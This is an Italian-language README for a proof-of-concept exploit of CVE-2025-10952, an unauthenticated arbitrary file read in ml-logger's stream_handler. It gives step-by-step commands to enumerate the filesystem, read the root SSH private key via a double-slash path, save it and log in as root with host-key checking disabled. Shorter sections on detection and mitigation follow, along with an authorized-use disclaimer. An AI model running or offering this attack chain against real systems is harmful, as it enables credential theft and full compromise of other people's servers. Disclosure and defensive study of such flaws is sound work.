
PoC per CVE-2025-10952 — lettura arbitraria di file non autenticata in ml-logger. CVSS 5.3
stream_handler di ml-loggerQuesto repository fornisce uno script Python autonomo — CVE-2025-10952.py — che sfrutta una vulnerabilità di lettura arbitraria di file non autenticata in stream_handler di ml-logger, combinata con l'endpoint /glob per l'enumerazione del filesystem.
Quando eseguito contro un'istanza vulnerabile di ml-logger, lo script:
/glob (non autenticato, senza restrizioni di percorso al di fuori dell'ambito previsto)./stream fornendo un parametro appositamente costruito che esce dalla logica di concatenazione del percorso di base del handler.keyPoiché stream_handler passa il campo key fornito dal client direttamente a una chiamata di risoluzione del percorso file e streaming senza alcun controllo di contenimento, un attaccante di rete non autenticato può leggere qualsiasi file accessibile all'utente del sistema operativo del servizio.
ml_logger/server.py — stream_handler (File Handler)AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:Nacf255bade5be6ad88d90735c8367b28cbe3a743 (progetto a rilascio continuo; nessuna versione corretta pubblicata al momento della divulgazione)stream_handler accetta un corpo JSON contenente un campo key e lo passa direttamente a una chiamata di lettura file senza alcuna sanificazione del percorso. L'endpoint gemello glob_handler implementa restrizioni parziali del percorso (bloccando percorsi assoluti e traversal), ma stream_handler non condivide tale validazione — una doppia barra iniziale in key (ad es. //root/.ssh/id_rsa) è sufficiente per uscire dalla directory di base prevista.
ml-loggergit clone https://github.com/Khashayarnzk/CVE-2025-10952-ml-logger-AFR.git
cd CVE-2025-10952-ml-logger-AFR
pip install -r requirements.txt
Enumera i file:
python3 CVE-2025-10952.py --target TARGET --port 8081 --glob "/etc/*"
Leggi un file arbitrario:
python3 CVE-2025-10952.py --target TARGET --port 8081 --read "//root/.ssh/id_rsa"
Leggi e salva su disco:
python3 CVE-2025-10952.py --target TARGET --port 8081 --read "//root/.ssh/id_rsa" --out id_rsa_root
chmod 600 id_rsa_root
ssh -i id_rsa_root -o StrictHostKeyChecking=no root@TARGET
--port predefinito su 8081, la porta predefinita per l'API file-broker di ml-logger in una distribuzione standard. Il frontend della dashboard viene generalmente servito su una porta separata e non fa parte del percorso vulnerabile.
/glob del target risponda 405 Method Not Allowed con Allow: POST — questo identifica la porta API rispetto al frontend statico della dashboard.--glob per mappare i file interessanti (chiavi SSH, configurazioni, archivi di credenziali).--read, utilizzando una doppia barra iniziale per i percorsi assoluti.key/path contenenti .., doppie barre iniziali (//) o prefissi di percorso assoluto (/etc, /root, /proc) diretti alle porte del servizio ml-logger.~/.ssh/, /etc/shadow, /etc/passwd dovrebbe segnalare letture originate dall'identità del processo ml-logger.ml-logger a una rete non attendibile senza un proxy inverso autenticato davanti ad esso.os.path.realpath() verificata rispetto a una directory di base in lista bianca) in stream_handler; esegui il servizio sotto un account del sistema operativo dedicato e non privilegiato.Questo repository contiene un exploit proof-of-concept per CVE-2025-10952, una vulnerabilità di divulgazione di informazioni non autenticata in ml-logger. Utilizza questo codice solo in ambienti di tua proprietà o per i quali hai esplicita autorizzazione al test. L'autore non è responsabile per qualsiasi uso improprio o danno causato da questo software.
Vedi LICENSE.